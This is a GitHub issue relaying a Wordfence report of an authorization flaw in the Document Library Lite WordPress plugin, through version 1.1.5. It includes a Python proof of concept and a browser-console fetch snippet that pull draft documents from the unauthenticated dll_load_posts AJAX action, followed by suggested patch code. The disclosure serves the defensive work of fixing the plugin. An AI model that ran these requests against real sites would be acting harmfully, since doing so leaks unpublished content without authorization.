-
Notifications
You must be signed in to change notification settings - Fork 2
Description
Full description
This is the report Wordfence has provided us:
Description:
The Document Library Lite plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 1.1.5. This is due to the plugin exposing an unauthenticated AJAX action dll_load_posts which returns a JSON table of document data without performing nonce or capability checks. The handler accepts an attacker-controlled args array where the status option explicitly allows draft, pending, future, and any. This makes it possible for unauthenticated attackers to retrieve unpublished document titles and content via the AJAX endpoint.
References:
plugins.trac.wordpress.org
plugins.trac.wordpress.org
plugins.trac.wordpress.org
Proof of Concept:
The researcher has provided instructions for their Proof of Concept below:
import requests
Target WordPress site running Document Library Lite
target_url = "http://example.com/wp-admin/admin-ajax.php"
Create a request to access draft documents
data = {
'action': 'dll_load_posts',
'args[status]': 'draft',
'args[lazy_load]': 'true',
'args[rows_per_page]': '50',
'args[columns]': 'id,title,content,link'
}
response = requests.post(target_url, data=data)
print("Response:", response.text)
Expected output: JSON containing draft document data
{"draw":1,"recordsTotal":1,"recordsFiltered":1,"data":[{"id":42,"title":"Draft Doc PoC","content":"SECRET: draft-only content..."}]}
Recommended Developer Solution
The following is one possible recommended solution, provided by our Threat Intelligence Team. You, and your software developers, can use this to guide the development of a patch for this vulnerability.
- Remove unauthenticated access: Remove the wp_ajax_nopriv_dll_load_posts action registration on line 23.
- Add capability checks: Implement proper authorization in the load_posts() method:
public function load_posts() {
// Add nonce verification
if ( ! wp_verify_nonce( $_POST['nonce'], 'dll_load_posts_nonce' ) ) {
wp_die( 'Security check failed' );
}
// Add capability check for accessing draft content
if ( isset( $_POST['args']['status'] ) && $_POST['args']['status'] !== 'publish' ) {
if ( ! current_user_can( 'edit_posts' ) ) {
wp_die( 'Insufficient permissions' );
}
}
$args = Options::handle_shortcode_attribute_aliases( $_POST[ 'args' ] );
// ... rest of method
}
- Restrict status for unauthenticated users: Force status='publish' for unauthenticated requests:
// In validate_options method, add:
if ( ! is_user_logged_in() ) {
$args['status'] = 'publish';
}
An easier way to replicate the issue is:
- Enable DLL
- Create draft post
- Enable lazy load
- Visit the document library page
- Open the browser console and paste this:
const targetUrl = "http://barn2.test/wp-admin/admin-ajax.php";
const data = new URLSearchParams();
data.append('action', 'dll_load_posts');
data.append('args[status]', 'draft');
data.append('args[lazy_load]', 'true');
data.append('args[rows_per_page]', '50');
data.append('args[columns]', 'id,title,content,link');
fetch(targetUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString(),
})
.then(response => response.text())
.then(text => console.log("Response:", text))
.catch(err => console.error("Error:", err));